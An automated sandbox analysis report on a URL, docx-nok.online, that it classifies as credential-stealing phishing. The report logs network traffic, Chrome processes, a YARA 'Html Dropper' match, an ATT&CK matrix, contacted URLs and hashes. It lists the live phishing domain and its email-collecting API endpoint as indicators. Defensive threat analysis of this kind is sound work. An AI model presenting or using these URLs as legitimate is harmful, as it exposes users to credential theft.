Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 19 Apr 2024 15:01:42 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16739Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: 57sILS3MPlUiIwPtpjgH+NdDIfz1Y69ab69visTAp9zTpLwFOe1emzGqoWIQlAWvE+tPdGS6a9hLJmBiYWLmdJ8WWTONAPBXSgeNxB+P1znbQODHbKk0hjtTEMYlty09IdDuv+fEszlDWtfaS2NbCA==$qq9Yc4yWV7JueK2GVlgwEA==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 19 Apr 2024 15:01:44 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16759Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: 15Enk7O1BuoxkVxqfX9lSIdeCrGSBRS/0pa5W14lKqU5ZaegUiSUnsHFmQ5MKvxBFRRKFq+L4Pb9ADjFs1wtSKFJ2nstrZiDELQ5TRfQK8p5D4zIAK9zLYWan1hnEa8G9z1SPJowvAyQtOpBoXBwwQ==$fU+cEkb9dYHiE3VsKHJQXQ==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 19 Apr 2024 15:01:50 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16824Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: DNORpgX3aAGlh1tUO85oiHmsZqfhsIkvNH58cTrw202y3PEGfIFQezh+VAf5lOrZ6+dnaktI3ZGVQbyEKOiBnp6v+dRum8zJ+qLbneszUExDIJSkHKbubowrymSWEWCkihwU46eLvGIXbJpyxEYZbg==$CsvFBhwG/G2452/figzhYQ==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 19 Apr 2024 15:01:54 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CpKrletGplFwbje1N9byVxlXnsFgaR3EGCQ8I%2F3%2FM0L%2FNUM1EyP0YMfeNEQgR9phpcBvFB7BUa%2BqJM5oeRw5JquJ%2FnxxH5fFi41Oxy5cdJKreGh7qc9aCNaOaWWkbRNQrbs%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 876dc5c2cc15adb2-ATLalt-svc: h3=":443"; ma=86400

Source: chromecache_80.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_80.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_80.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.18:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.18:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.18:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.157.11:443 -> 192.168.2.18:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.18:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.18:49756 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.troj.win@18/38@16/8

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docx-nok.online/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1960,i,2773275675352970223,11905223981876917908,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1960,i,2773275675352970223,11905223981876917908,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

Yara detected Html Dropper

Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://docx-nok.online/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Name	IP	Active	Malicious	Reputation
docx-nok.online	172.67.179.148	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
challenges.cloudflare.com	104.17.3.184	true	false	high
www.google.com	142.250.9.99	true	false	high

Contacted URLs

Name	Malicious	Reputation
https://docx-nok.online/ASSETS/img/m_.svg	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	false	high
https://docx-nok.online/boot/0a6095cf83124146bdbff28bf2470f15662287604d125	false	unknown
https://docx-nok.online/APP-0a6095cf83124146bdbff28bf2470f1566228761d30a1/0a6095cf83124146bdbff28bf2470f1566228761d30a2	false	unknown
https://docx-nok.online/API.php?data=mail&email=testing@outlook.com&_=1713538912791	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/876dc57e0ff87bcf/1713538904216/ZhnC9eUuQVZ5DM0	false	high
https://a.nel.cloudflare.com/report/v4?s=STBy%2BUyACwnYD3awDUeNnEj2LKnE68Y%2BVLhS1y75i%2F4haioJh%2F42CjIVyUVKma84h4FyNwG%2F6bntFklcOiAn7Pnz%2B4OBzeq4zdmX%2FYGkEAT6633iH3yFtiJRNk3xvv8MgC0%3D	false	high
https://docx-nok.online/o/0a6095cf83124146bdbff28bf2470f1566228761d30cc	false	unknown
https://docx-nok.online/favicon.ico	false	unknown
https://docx-nok.online/1	false	unknown
https://docx-nok.online/jq/0a6095cf83124146bdbff28bf2470f15662287604d11f	false	unknown
https://a.nel.cloudflare.com/report/v4?s=%2Fig0HEQ%2Blnw5kYrXqwSh28tVKyhsW%2FGo6%2FhwGbDcWOvIAlpMk1kgk1JhaBhJ5M1YrS0uojY23Xoi%2BN47DdM6vN%2F5rD%2BGj%2FcPHA4RxEP2%2FDwRK3vydqY5rbJrqAE02182yTE%3D	false	high
https://docx-nok.online/	true	unknown
https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a	true	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=876dc57e0ff87bcf	false	high
https://docx-nok.online/cdn-cgi/challenge-platform/h/b/flow/ov1/1736105386:1713535998:CYTVeI83CkoB0ctzeZWb_Z14PECqxivQK0UVGDjsM1A/876dc5736c867b92/b9a92c2ac5a9fbe	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/876dc57e0ff87bcf/1713538904224/8b21d532fd0fc07fa9c6884c1f3c7bea1f97e6034430a71051c4d69f0b0adb96/6vxr3lRydoc6S4F	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	high
https://a.nel.cloudflare.com/report/v4?s=sE%2FViEXTjU3YoiTIVDU2HLPzJskHU7ESzd1dpLVo7zuFXga%2BjuMzBPHuoYzGoRvZv7R4VHv1NQuAHfd0R%2F5mdmWGW29MDiBDeqvviBNnuhovAfdGN1haa9Qjclu1Q90G9Xk%3D	false	high
https://docx-nok.online/API.php?data=mail&email=alen@outlook.com&_=1713538912792	false	unknown
https://docx-nok.online/API.php?data=mail&email=alen@outlook.com&_=1713538912793	false	unknown
https://docx-nok.online/cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=876dc5736c867b92	false	unknown
https://docx-nok.online/x/0a6095cf83124146bdbff28bf2470f1566228761d30a7	false	unknown
https://docx-nok.online/js/0a6095cf83124146bdbff28bf2470f15662287604d126	false	unknown
https://docx-nok.online/ASSETS/img/sig-op.svg	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://getbootstrap.com/)	chromecache_80.1.dr	false	high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_80.1.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_80.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.35.209	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.3.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.2.184	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.9.99	www.google.com	United States	15169	GOOGLEUS	false
172.67.179.148	docx-nok.online	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.18

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428820
Start date and time:	2024-04-19 17:00:42 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://docx-nok.online/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.troj.win@18/38@16/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.185.94, 74.125.136.100, 74.125.136.101, 74.125.136.139, 74.125.136.102, 74.125.136.113, 74.125.136.138, 142.250.105.84, 34.104.35.123, 172.253.124.95, 64.233.177.95, 142.250.9.95, 173.194.219.95, 108.177.122.95, 142.250.105.95, 64.233.185.95, 74.125.136.95, 64.233.176.95, 74.125.138.95, 142.251.15.95, 172.217.215.95, 23.47.204.67, 64.233.176.94, 64.233.185.102, 64.233.185.101, 64.233.185.138, 64.233.185.113, 64.233.185.100, 64.233.185.139
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, login.live.com, update.googleapis.com, clients.l.google.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://docx-nok.online/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 14:01:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.970657094892392
Encrypted:	false
SSDEEP:	48:8UXd1cT5on1IHGidAKZdA1rehwiZUklqeh1y+3:8UYVW1Tmy
MD5:	9D9EE470C9FD8FDFDE6F8252BF23D124
SHA1:	F7669B1A6D9953122D72D68088AC8DB9B2B8B7F5
SHA-256:	B4387051F4DD876980F8DB3B4DC4669E21BD0A4AD7E91AE2016606D101B827D4
